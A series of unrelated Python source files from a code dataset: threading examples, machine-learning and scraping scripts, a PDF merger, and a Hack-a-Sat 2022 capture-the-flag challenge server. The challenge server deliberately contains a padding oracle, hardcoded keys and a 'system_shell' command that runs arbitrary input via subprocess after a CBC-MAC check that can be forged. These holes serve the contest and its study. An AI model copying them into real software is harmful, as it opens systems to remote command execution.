Lock()\r\n def put(self, item):\r\n with self.lock:\r\n self.items.append(item)\r\n def get(self):\r\n with self.lock:\r\n return self.items.popleft()\r\n \r\nclass Worker(Thread):\r\n def __init__(self, func, in_queue, out_queue):\r\n super().__init__()\r\n self.func = func\r\n self.in_queue = in_queue\r\n self.out_queue = out_queue\r\n self.polled_count = 0\r\n self.work_done = 0\r\n \r\n def run(self):\r\n while True:\r\n self.polled_count += 1\r\n try:\r\n item = self.in_queue.get()\r\n except IndexError:\r\n sleep(0.01) # No work to do\r\n else:\r\n result = self.func(item)\r\n self.out_queue.put(result)\r\n self.work_done += 1 \r\n\r\ndownload_queue = MyQueue()\r\nresize_queue = MyQueue()\r\nupload_queue = MyQueue()\r\ndone_queue = MyQueue()\r\n\r\ndef download(object):\r\n pass\r\ndef resize(object):\r\n pass\r\ndef upload(object):\r\n pass\r\n\r\nthreads = [\r\nWorker(download, download_queue, resize_queue),\r\nWorker(resize, resize_queue, upload_queue),\r\nWorker(upload, upload_queue, done_queue),\r\n]\r\n\r\nfor thread in threads:\r\n thread.start()\r\nfor _ in range(1000):\r\n download_queue.put(object()) \r\n #resize_queue.put(object())\r\n #upload.put(object())\r\n\r\nprocessed = len(done_queue.items)\r\npolled = sum(t.polled_count for t in threads)\r\nprint('Processed', processed, 'items after polling', polled, 'times')\r\n\r\n# Queue to the Rescue\r\nfrom queue import Queue\r\n\r\nqueue = Queue()\r\n\r\ndef consumer():\r\n print('Consumer waiting')\r\n queue.get() # Runs after put() below\r\n print('Consumer done')\r\nthread = Thread(target=consumer)\r\nthread.start()\r\n\r\nprint('Producer putting')\r\nqueue.put(object()) # Runs before get() above\r\nthread.join()\r\nprint('Producer done')\r\n\r\nprint('==========')\r\nqueue = Queue(1) # Buffer size of 1\r\ndef consumer():\r\n time.sleep(0.1) # Wait\r\n queue.get() # Runs second\r\n print('Consumer got 1')\r\n queue.get() # Runs fourth\r\n print('Consumer got 2')\r\nthread = Thread(target=consumer)\r\nthread.start()\r\n\r\nqueue.put(object()) # Runs first\r\nprint('Producer put 1')\r\nqueue.put(object()) # Runs third\r\nprint('Producer put 2')\r\nthread.join()\r\nprint('Producer done')\r\n\r\nprint('==========')\r\nin_queue = Queue()\r\ndef consumer():\r\n print('Consumer waiting')\r\n work = in_queue.get() # Done second\r\n print('Consumer working')\r\n # Doing work\r\n # ...\r\n print('Consumer done')\r\n in_queue.task_done() # Done third\r\nThread(target=consumer).start()\r\n\r\nin_queue.put(object()) # Done first\r\nprint('Producer waiting')\r\nin_queue.join() # Done fourth\r\nprint('Producer done')\r\n\r\nprint('==========')\r\nclass ClosableQueue(Queue):\r\n SENTINEL = object()\r\n def close(self):\r\n self.put(self.SENTINEL)\r\n def __iter__(self):\r\n while True:\r\n item = self.get()\r\n try:\r\n if item is self.SENTINEL:\r\n return # Cause the thread to exit\r\n yield item\r\n finally:\r\n self.task_done()\r\n \r\nclass StoppableWorker(Thread):\r\n def __init__(self, func, in_queue, out_queue):\r\n super().__init__()\r\n self.func = func\r\n self.in_queue = in_queue\r\n self.out_queue = out_queue\r\n #self.polled_count = 0\r\n self.work_done = 0\r\n def run(self):\r\n for item in self.in_queue:\r\n result = self.func(item)\r\n self.out_queue.put(result)", "repo_name": "acybercoder/Python", "sub_path": "Effective Python 2015/5. Concurrency and Parallelism/Item 39 - Use Queue to Coordinate Work Between Threads/Example.py", "file_name": "Example.py", "file_ext": "py", "file_size_in_byte": 4119, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.deque", "line_number": 15, "usage_type": "call"}, {"api_name": "threading.Lock", "line_number": 16, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 24, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 39, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 77, "usage_type": "call"}, {"api_name": "queue.get", "line_number": 81, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 83, "usage_type": "call"}, {"api_name": "queue.put", "line_number": 87, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 92, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 94, "usage_type": "call"}, {"api_name": "queue.get", "line_number": 95, "usage_type": "call"}, {"api_name": "queue.get", "line_number": 97, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 99, "usage_type": "call"}, {"api_name": "queue.put", "line_number": 102, "usage_type": "call"}, {"api_name": "queue.put", "line_number": 104, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 110, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 119, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 127, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 141, "usage_type": "name"}]} {"seq_id": "14956025222", "text": "#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\r\nimport logging\r\nimport re\r\nimport subprocess\r\nimport argparse\r\nfrom random import randrange\r\nfrom itertools import cycle\r\nfrom base64 import b64decode\r\nfrom Cryptodome.Cipher import AES\r\nfrom Cryptodome.Random import get_random_bytes\r\nfrom Cryptodome.Util.Padding import pad, unpad\r\nfrom socketserver import StreamRequestHandler, ThreadingTCPServer\r\nimport os\r\n\r\nCODING = 'UTF-8'\r\n\r\n\r\nclass DummyResponses:\r\n def __init__(self):\r\n self.dummy_cmds = [\r\n 'mem_list',\r\n 'mem_reg',\r\n 'mem_read',\r\n 'mem_write',\r\n 'mem_free',\r\n 'app_list',\r\n 'app_start',\r\n 'app_stop',\r\n 'app_del',\r\n 'app_cmd'\r\n ]\r\n\r\n def is_dummy_cmd(self, cmd: str):\r\n for dummy_cmd in self.dummy_cmds:\r\n if dummy_cmd in cmd:\r\n return True\r\n return False\r\n\r\n @staticmethod\r\n def telemetry() -> bytes:\r\n telemetry = \"\"\"+-------------------------------------------------------------------------------------+\r\n| Payload | T | Wattage | Bus ID | Memory | CPU | \r\n|-------------------------------------------------------------------------------------|\r\n| GPS Omni. Proc. 1 | {t1}C | {w1}W | 10000-61-0110 | {m1}/2048MiB | {p1}% |\r\n| GPS Omni. Proc. 2 | {t2}C | {w2}W | 10000-43-0110 | {m2}/2048MiB | {p2}% | \r\n| GPS Uni. Proc. 1 | {t3}C | {w3}W | 10000-42-4542 | {m3}/2048MiB | {p3}% |\r\n| \"METAL\" | {t4}C | {w4}W | 10000-56-1677 | {m4}/8192MiB | {p4}% |\r\n| \"BRICK\" | {t5}C | {w5}W | 10000-92-0740 | {m5}/8192MiB | {p5}% |\r\n| BLACK ICE \"ALICE\" | 99C | [REDACTED] | [REDACTED] | 5.1e+7/5.2e+7MiB | 99% |\r\n+-------------------------------------------------------------------------------------+\"\"\" \\\r\n .format(t1=str(randrange(71, 76)), t2=str(randrange(71, 76)), t3=str(randrange(82, 90)),\r\n t4=str(randrange(82, 90)), t5=str(randrange(62, 69)),\r\n m1=str(randrange(1412, 1489)), m2=str(randrange(1801, 1898)), m3=str(randrange(1987, 2047)),\r\n m4=str(randrange(8102, 8190)), m5=str(randrange(8102, 8190)),\r\n p1=str(randrange(41, 56)), p2=str(randrange(41, 56)), p3=str(randrange(81, 100)),\r\n p4=str(randrange(81, 100)), p5=str(randrange(65, 72)),\r\n w1=str(randrange(100, 122)), w2=str(randrange(100, 122)), w3=str(randrange(180, 200)),\r\n w4=str(randrange(180, 200)), w5=str(randrange(180, 200)))\r\n\r\n return telemetry.encode(CODING) + b'\\n'\r\n\r\n @staticmethod\r\n def gibberish() -> bytes:\r\n gibberish_length = (randrange(200, 3000))\r\n return get_random_bytes(gibberish_length)\r\n\r\n @staticmethod\r\n def border(data: list):\r\n data = [line.strip() for line in data]\r\n line_max = max(len(longest_bytes) for longest_bytes in data)\r\n top_and_bottom = b'+' + b'-' * (line_max + 2) + b'+\\n'\r\n start = b'| '\r\n end = b' |\\n'\r\n\r\n bordered_data = top_and_bottom\r\n\r\n for line in data:\r\n if line: # If the line object isn't empty, add it to the formatted output\r\n # The reason why we are decoding and encoding is that we want to use the \"true\" length in Russian, and\r\n # not the line length in raw format.\r\n if len(line.decode(CODING)) < line_max:\r\n spaces = \" \" * (line_max - len(line.decode(CODING)))\r\n line = (line.decode(CODING) + spaces).encode(CODING)\r\n bordered_data += start + line + end\r\n bordered_data += top_and_bottom\r\n return bordered_data\r\n\r\n\r\nclass SpaceVehicleSimulator:\r\n def __init__(self):\r\n self.aes_key = bytes.fromhex('667E23029E4C4BD46E3863429F2B53A9')\r\n self.cbc_mac_keys = [\r\n bytes.fromhex('DBF7464C02A2C97DDD0438A167BF3F21'), # Key 0; used for all log_[something] cmds\r\n bytes.fromhex('78BEDFB09D794FFC1C8B9AC34E16C601'), # Key 1; used for all mem_[something] cmds\r\n bytes.fromhex('92DCEFD3D4ABAFE01F5B12D71D737D6D'), # Key 2; used for all app_[something] cmds\r\n bytes.fromhex('38746F66D25874A67FBFB9FB0F248F1B'), # Key 3; revealed in intel doc\r\n ]\r\n self.macs = [\r\n bytes.fromhex('55D0861A0B838272AC41447142725EBA'), # log_info\r\n bytes.fromhex('87AA8B944D3FD46855D0B88F393564B9'), # log_warn\r\n bytes.fromhex('E690BF761526072A995A2D499AA36436'), # log_query\r\n bytes.fromhex('5C2F1078C86AD55F0D4376DA4F044863'), # mem_list\r\n bytes.fromhex('799EBB43CC375584D456B5115D68F494'), # mem_reg\r\n bytes.fromhex('33E8BDD872DD6ED2EEF43474DADCADCB'), # mem_read\r\n bytes.fromhex('3A5296716F4B0F00A4A02688245F9BDA'), # mem_write\r\n bytes.fromhex('456EAC5EE717E47FB2C3C017A4DC76A7'), # mem_free\r\n bytes.fromhex('03A56772D2C8D5E1CFC92D6691E52B3D'), # app_list\r\n bytes.fromhex('8E87F9AEC9BB56742631394561671662'), # app_start\r\n bytes.fromhex('E677A014A3A7B109C869154469596E97'), # app_stop\r\n bytes.fromhex('6F8FD6B7267DE70E116325155332ADA0'), # app_del\r\n bytes.fromhex('D882099AA9AC241134C57FBC2D96B476'), # app_cmd\r\n bytes.fromhex('119D1617B58273114880776ADB5E75AB'), # query_payload_telemetry.\r\n # This is what the players must collide with.\r\n ]\r\n self.pattern = cycle(['A4', 'A1', 'A2', 'A3', 'A6', 'A9', 'A8'])\r\n self.logs = []\r\n self.dummy_responses = DummyResponses()\r\n self.__log_generator()\r\n\r\n def respond(self, recv: bytes) -> bytes:\r\n response: bytes = b''\r\n\r\n encrypted_command_list = [enc_cmd for enc_cmd in recv.split(b'\\0') if enc_cmd] # Split commands w/o empty bytes\r\n for encrypted_command in encrypted_command_list:\r\n try:\r\n unverified_cmd = self.__decrypt_cmd(b64decode(encrypted_command))\r\n response += self.verify_and_process_command(unverified_cmd)\r\n except ValueError:\r\n # This is our padding oracle :)\r\n response += self.dummy_responses.border(['Bad padding'.encode(CODING)])\r\n return response\r\n\r\n def verify_and_process_command(self, unverified_cmd):\r\n response = b''\r\n unverified_cmd_args = re.findall(b'{[^}]*}', unverified_cmd)\r\n if not unverified_cmd_args:\r\n response += self.dummy_responses.border(['Argument not found'.encode(CODING)])\r\n else:\r\n unverified_cmd_arg = unverified_cmd_args[0] # Get argument before it is removed\r\n unverified_cmd = re.sub(b'{[^}]*}', b'', unverified_cmd) # Strip the argument from the command\r\n if self.__verify_cmds(unverified_cmd):\r\n response += self.process_command((unverified_cmd, unverified_cmd_arg))\r\n else:\r\n # This is if the players just try to run sys_shell, which intentionally will not work as a MAC for\r\n # sys_shell doesn't exist. This should signal to the players to try to cause a CBC_MAC collision.\r\n # \"\"\"Should\"\"\".\r\n response += self.dummy_responses.border(\r\n ['The MAC is not on the approved list.'.encode(CODING)])\r\n return response\r\n\r\n def process_command(self, verified_cmd):\r\n response = b''\r\n\r\n try:\r\n verified_cmd = (verified_cmd[0].decode(CODING), verified_cmd[1].decode(CODING))\r\n except UnicodeDecodeError:\r\n response += self.dummy_responses.border(['Cannot decode to UTF-8'.encode(CODING)])\r\n else:\r\n cmd = verified_cmd[0]\r\n arg = verified_cmd[1][1:-1] # Getting rid of brackets here.\r\n if 'log_info' in cmd:\r\n self.logs.append(b'INFO: ' + arg.encode(CODING))\r\n response += self.dummy_responses.border([b'OK'])\r\n elif 'log_warn' in cmd:\r\n self.logs.append(b'WARN: ' + arg.encode(CODING))\r\n response += self.dummy_responses.border([b'OK'])\r\n elif 'log_query' in cmd:\r\n try:\r\n response += self.dummy_responses.border(self.logs[-int(arg):])\r\n except ValueError:\r\n response += self.dummy_responses.border(['Not an integer'.encode(CODING)])\r\n elif self.dummy_responses.is_dummy_cmd(cmd):\r\n response += self.dummy_responses.gibberish()\r\n elif 'query_payload_telemetry' in cmd:\r\n response += self.dummy_responses.telemetry()\r\n elif 'system_shell' in cmd:\r\n cmd_result = subprocess.run(arg.split(), cwd='/app/flag/',\r\n capture_output=True, timeout=1)\r\n response += self.dummy_responses.border([cmd_result.stdout, cmd_result.stderr])\r\n else:\r\n # This is a hint that tells the player they succeeded in bypassing the CBC-MAC check, but aren't\r\n # running a valid command. Ideally the player will run sys_shell{some command} without needing to\r\n # run into this.\r\n response += self.dummy_responses.border(['The command passed CBC-MAC verification but the command is '\r\n 'unknown. This error should not occur.'.encode(CODING)])\r\n finally:\r\n return response\r\n\r\n def __log_generator(self):\r\n awacs = 'E-3 \"OVERLORD\": '.encode(CODING)\r\n num_logs = randrange(4000, 4150)\r\n self.logs.append('INFO: CP-46: cleared logs'.encode(CODING))\r\n while len(self.logs) < num_logs:\r\n current_pattern = self.pattern.__next__()\r\n self.logs.append(awacs + 'is in zone '.encode(CODING) + current_pattern.encode(CODING))\r\n\r\n if randrange(0, 3) == 0:\r\n self.logs.append(awacs + 'uploaded '.encode(CODING)\r\n + str(randrange(9 * 100000, 10 * 1000000)).encode(CODING) + ' bytes'.encode(CODING))\r\n\r\n if randrange(0, 3) == 0:\r\n self.logs.append(awacs + 'downloaded '.encode(CODING)\r\n + str(randrange(9, 50000)).encode(CODING) + ' bytes'.encode(CODING))\r\n\r\n def __decrypt_cmd(self, encrypted_cmd: bytes) -> bytes:\r\n iv = encrypted_cmd[:AES.block_size]\r\n cipher = AES.new(self.aes_key, AES.MODE_CBC, iv)\r\n decrypted = cipher.decrypt(encrypted_cmd[AES.block_size:])\r\n unpadded = unpad(decrypted, AES.block_size)\r\n return unpadded\r\n\r\n @staticmethod\r\n def __cbc_mac(key: bytes, data_to_digest: bytes) -> bytes:\r\n iv = b'\\0' * 16\r\n cipher = AES.new(key, AES.MODE_CBC, iv)\r\n return cipher.encrypt(pad(data_to_digest, AES.block_size))[-16:]\r\n\r\n def __verify_cmds(self, unverified_cmd: bytes) -> bool:\r\n for key in self.cbc_mac_keys:\r\n unverified_cmd_mac = self.__cbc_mac(key, unverified_cmd)\r\n for mac in self.macs:\r\n if unverified_cmd_mac == mac:\r\n return True\r\n return False\r\n\r\n\r\nclass SVSimulatorHandler(StreamRequestHandler):\r\n def handle(self):\r\n dummy_responses = DummyResponses\r\n space_vehicle = SpaceVehicleSimulator()\r\n command_data_queue = b''\r\n while True:\r\n try:\r\n client_data = self.request.recv(1024)\r\n if client_data == b'': # No data received - stop handling this request\r\n return\r\n # No valid commands received (valid commands are terminated with a null byte)-\r\n # keep waiting for more data on the socket\r\n if b'\\x00' not in client_data:\r\n command_data_queue += client_data\r\n continue\r\n client_data = command_data_queue + client_data # Join with any data previously received\r\n # If this data does not end with a null byte (end of command), then keep extra\r\n # data around since we're expecting to receive the rest of the command in another recv call\r\n if client_data[-1] != b'\\x00':\r\n last_delimiter = client_data.rfind(b'\\x00')\r\n command_data_queue = client_data[last_delimiter + 1:]\r\n client_data = client_data[:last_delimiter]\r\n data_to_send_back_to_client = space_vehicle.respond(client_data)\r\n self.wfile.write(data_to_send_back_to_client)\r\n except BrokenPipeError:\r\n # Client disconnected\r\n return\r\n except Exception as err:\r\n # Some other exception happened\r\n # logging.exception(err)\r\n self.wfile.write(dummy_responses.border(['Crashed! Restarting...'.encode(CODING)]))\r\n return\r\n\r\n\r\nclass TCPServerWithReuse(ThreadingTCPServer):\r\n def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True):\r\n self.allow_reuse_address = True\r\n ThreadingTCPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate)\r\n\r\n\r\ndef main(args=None):\r\n if args is None:\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('host')\r\n parser.add_argument('port', type=int)\r\n args = parser.parse_args()\r\n service_host = os.getenv(\"SERVICE_HOST\")\r\n service_port = os.getenv(\"SERVICE_PORT\")\r\n logging.basicConfig(level=logging.INFO)\r\n\r\n with TCPServerWithReuse((args.host, args.port), SVSimulatorHandler) as server:\r\n print(\"Please connect to the space vehicle command service at {}:{}\".format(service_host, service_port),\r\n flush=True)\r\n server.serve_forever()\r\n server.shutdown()\r\n print(\"Exiting\", flush=True)\r\n\r\n\r\nif __name__ == '__main__':\r\n print(\"\\n\", flush=True)\r\n main()\r\n", "repo_name": "cromulencellc/hackasat-qualifier-2022", "sub_path": "screaming_fist/challenge/screamingfist.py", "file_name": "screamingfist.py", "file_ext": "py", "file_size_in_byte": 14154, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "7", "api": [{"api_name": "random.randrange", "line_number": 53, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 54, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 55, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 56, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 57, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 58, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 59, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 60, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 66, "usage_type": "call"}, {"api_name": "Cryptodome.Random.get_random_bytes", "line_number": 67, "usage_type": "call"}, {"api_name": "itertools.cycle", "line_number": 117, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 128, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 137, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 142, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 179, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 193, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 199, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 201, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 203, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 205, "usage_type": "call"}, {"api_name": "Cryptodome.Cipher.AES.block_size", "line_number": 208, "usage_type": "attribute"}, {"api_name": "Cryptodome.Cipher.AES", "line_number": 208, "usage_type": "name"}, {"api_name": "Cryptodome.Cipher.AES.new", "line_number": 209, "usage_type": "call"}, {"api_name": "Cryptodome.Cipher.AES", "line_number": 209, "usage_type": "name"}, {"api_name": "Cryptodome.Cipher.AES.MODE_CBC", "line_number": 209, "usage_type": "attribute"}, {"api_name": "Cryptodome.Cipher.AES.block_size", "line_number": 210, "usage_type": "attribute"}, {"api_name": "Cryptodome.Cipher.AES", "line_number": 210, "usage_type": "name"}, {"api_name": "Cryptodome.Util.Padding.unpad", "line_number": 211, "usage_type": "call"}, {"api_name": "Cryptodome.Cipher.AES.block_size", "line_number": 211, "usage_type": "attribute"}, {"api_name": "Cryptodome.Cipher.AES", "line_number": 211, "usage_type": "name"}, {"api_name": "Cryptodome.Cipher.AES.new", "line_number": 217, "usage_type": "call"}, {"api_name": "Cryptodome.Cipher.AES", "line_number": 217, "usage_type": "name"}, {"api_name": "Cryptodome.Cipher.AES.MODE_CBC", "line_number": 217, "usage_type": "attribute"}, {"api_name": "Cryptodome.Util.Padding.pad", "line_number": 218, "usage_type": "call"}, {"api_name": "Cryptodome.Cipher.AES.block_size", "line_number": 218, "usage_type": "attribute"}, {"api_name": "Cryptodome.Cipher.AES", "line_number": 218, "usage_type": "name"}, {"api_name": "socketserver.StreamRequestHandler", "line_number": 229, "usage_type": "name"}, {"api_name": "socketserver.ThreadingTCPServer", "line_number": 263, "usage_type": "name"}, {"api_name": "socketserver.ThreadingTCPServer.__init__", "line_number": 266, "usage_type": "call"}, {"api_name": "socketserver.ThreadingTCPServer", "line_number": 266, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 271, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 275, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 276, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 277, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 277, "usage_type": "attribute"}]} {"seq_id": "26922447277", "text": "import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\nds=pd.read_csv('Social_Network_Ads.csv')\r\nx=ds.iloc[:,[2,3]].values\r\ny=ds.iloc[:,4].values\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nxtrain,xtest,ytrain,ytest=train_test_split(x,y,test_size=0.25,random_state=0)\r\n\r\nfrom sklearn.preprocessing import StandardScaler\r\nscx=StandardScaler()\r\nxtrain=scx.fit_transform(xtrain)\r\nxtest=scx.transform(xtest)\r\n\r\n#logistic regression\r\nfrom sklearn.linear_model import LogisticRegression\r\nc= LogisticRegression(random_state=0)\r\nc.fit(xtrain,ytrain)\r\nypred=c.predict(xtest)\r\n#KNN\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nknn = KNeighborsClassifier(n_neighbors=5, metric='euclidean')\r\nknn.fit(xtrain, ytrain)\r\nypred1=knn.predict(xtest)\r\n\r\n#naive bayes\r\nfrom sklearn.naive_bayes import GaussianNB\r\nnb=GaussianNB()\r\nnb.fit(xtrain,ytrain)\r\nypred2=nb.predict(xtest)\r\n\r\n#decision trees\r\nfrom sklearn.tree import DecisionTreeClassifier\r\ndtc=DecisionTreeClassifier(criterion='entropy',random_state=0)\r\ndtc.fit(xtrain,ytrain)\r\nydtc=dtc.predict(xtest)\r\n\r\n#random forest\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nrfc=RandomForestClassifier(n_estimators=10,criterion='entropy',random_state=0)\r\nrfc.fit(xtrain,ytrain)\r\nyrfc=rfc.predict(xtest)\r\n\r\n#svm\r\nfrom sklearn.svm import SVC\r\nsv=SVC(kernel='linear',random_state=0)\r\nsv.fit(xtrain,ytrain)\r\nysc=sc.predict(xtest)\r\n\r\n#confusion mtrix\r\nfrom sklearn.metrics import confusion_matrix\r\ncm=confusion_matrix(ytest,ypred)\r\ncm1=confusion_matrix(ytest,ypred1)\r\ncm2=confusion_matrix(ytest,ypred2)\r\n\r\n\r\n#graph\r\n \r\n", "repo_name": "ganeshbhrathwaj/classification-algorithm", "sub_path": "classifications.py", "file_name": "classifications.py", "file_ext": "py", "file_size_in_byte": 1591, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 5, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 10, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 13, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 24, "usage_type": "call"}, {"api_name": "sklearn.naive_bayes.GaussianNB", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 36, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 42, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 48, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 54, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 55, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 56, "usage_type": "call"}]} {"seq_id": "27463686098", "text": "# packages\nimport scrapy\nfrom scrapy.crawler import CrawlerProcess\nfrom scrapy.selector import Selector\nimport urllib\nimport os\nimport json\nimport datetime\n\n# property scraper class\nclass ResidentialSale(scrapy.Spider):\n # scraper name\n name = 'therapists'\n base_url = 'https://onlymotivation4u.blogspot.com/search/label/Motivation' \n \n # headers\n headers = {\n \"user-agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36\"\n }\n try:\n os.remove('abx.csv')\n except OSError:\n pass \n # custom settings\n custom_settings = {\n 'CONCURRENT_REQUEST_PER_DOMAIN': 2,\n 'DOWNLOAD_DELAY': 1\n }\n\n # general crawler\n def start_requests(self):\n \n # initial HTTP request\n yield scrapy.Request(\n url=self.base_url,\n headers=self.headers,\n \n callback=self.parse\n )\n \n def parse(self, response):\n \n #print(response.text)\n '''\n with open('res.html', 'w') as html:\n html.write(response.text)\n \n ''' \n ''' \n content = ''\n with open('res.html', 'r' ) as f:\n for line in f.read():\n content += line\n response = Selector(text=content) \n '''\n for link in response.css('div[class=\"date-outer\"]'):\n link = link.css('h2[class= \"post-title entry-title\"]').css('a::attr(href)')\n \n \n yield response.follow(\n url = link.get(),\n headers = self.headers,\n callback = self.parse_listing\n\n ) \n #break\n def parse_listing(self, response):\n \n with open('res2.html', 'w') as html:\n html.write(response.text)\n \n \n \n \n '''\n with open('timeshighereducation.csv', 'a') as csv_file:\n writer = csv.DictWriter(csv_file, fieldnames=items.keys())\n writer.writerow(items)\n '''\n \n \n# main driver\nif __name__ == '__main__':\n # run scraper\n# process = CrawlerProcess()\n# process.crawl(ResidentialSale)\n# process.start()\n \n ResidentialSale.parse_listing(ResidentialSale, '')\n \n \n", "repo_name": "danishkhangithub/scrapers2", "sub_path": "onlymotivation/onlymotiv.py", "file_name": "onlymotiv.py", "file_ext": "py", "file_size_in_byte": 2364, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "scrapy.Spider", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 21, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 34, "usage_type": "call"}]} {"seq_id": "40978832311", "text": "from typing import List, Tuple, Optional\n\nfrom collections import defaultdict,deque\nfrom functools import cache\nimport heapq\nfrom sortedcontainers import SortedDict,SortedList\nclass Solution:\n def checkValidGrid(self, grid: List[List[int]]) -> bool:\n n = len(grid)\n ls = [0]*(n*n)\n if grid[0][0]!=0:\n return False\n for i in range(n):\n for j in range(n):\n ls[grid[i][j]] = [i,j]\n #print(ls)\n for i in range(1,n*n):\n px,py = ls[i-1]\n x,y = ls[i]\n if abs(x-px)*abs(y-py)!=2:\n return False\n return True\n\n\n\n\nre =Solution().checkValidGrid([[24,11,22,17,4],[21,16,5,12,9],[6,23,10,3,18],[15,20,1,8,13],[0,7,14,19,2]])\nprint(re)", "repo_name": "wherby/code", "sub_path": "contest/00000c315d89/c337/q2/t2.py", "file_name": "t2.py", "file_ext": "py", "file_size_in_byte": 758, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 8, "usage_type": "name"}]} {"seq_id": "9357863539", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = \"nagracks\"\n__date__ = \"12-07-2016\"\n__license__ = \"MIT\"\n__copyright__ = \"Copyright © 2016 nagracks\"\n\nimport argparse\n\nimport PyPDF2\n\n\ndef merge_it(files, output_name='merged_file.pdf'):\n \"\"\"Merge PDF files\n\n :files: list of pdf files\n :output_name: name of output merged file\n :returns: None\n \"\"\"\n if len(files) <= 1:\n return\n merger = PyPDF2.PdfFileMerger()\n for filename in files:\n merger.append(open(filename, 'rb'))\n merger.write(output_name)\n\n\nif __name__ == \"__main__\":\n # Parse commandline options with argparse\n parser = argparse.ArgumentParser(description=\"PDF Merge script\")\n parser.add_argument(\n 'files', \n action='store', \n nargs='*',\n help=\"pdf files\"\n )\n parser.add_argument(\n '-o', '--output-file',\n dest='output_file',\n action='store',\n help=\"output file name. defaults to `merged_file.pdf`\"\n )\n args = parser.parse_args()\n\n if args.output_file:\n merge_it(args.files, args.output_file)\n else:\n merge_it(args.files)\n", "repo_name": "nagracks/pdf_merge", "sub_path": "pdf_merge.py", "file_name": "pdf_merge.py", "file_ext": "py", "file_size_in_byte": 1189, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyPDF2.PdfFileMerger", "line_number": 23, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 31, "usage_type": "call"}]} {"seq_id": "26305460659", "text": "import pymysql\nimport pandas as pd \nfrom sqlalchemy import create_engine\nfrom fake_useragent import UserAgent \nimport base64\nfrom bs4 import BeautifulSoup\nfrom io import BytesIO\nfrom fontTools.ttLib import TTFont\nimport requests\nimport re \nimport time \n\n\n\n\n# 当前网页信息\ndef Room_page_():\n a = Room_cell_(1)[6] \n pages = []\n for i in range(a-1):\n pages.append(Room_cell_(i))\n pages = pd.DataFrame(pages,columns=[\"title\",\"space\",\"place\",\"source\",\"pul_time\",\"price\",\"pages_number_type\"])\n return pages \n\n\n\n#发出请求获得 bs64Str,soup1\ndef Room_page__(url):\n requests.adapters.DEFAULT_RETRIES = 5 # 增加重连次数\n s = requests.session()\n s.keep_alive = False\n \n response = s.get(url=url, headers={'User-Agent':UserAgent().random}) \n bs64Str = re.findall(\"charset=utf-8;base64,(.*?)'\\)\", response.text)[0] \n soup1 = BeautifulSoup(response.text,'lxml')\n \n response.close()\n del(response)\n \n return 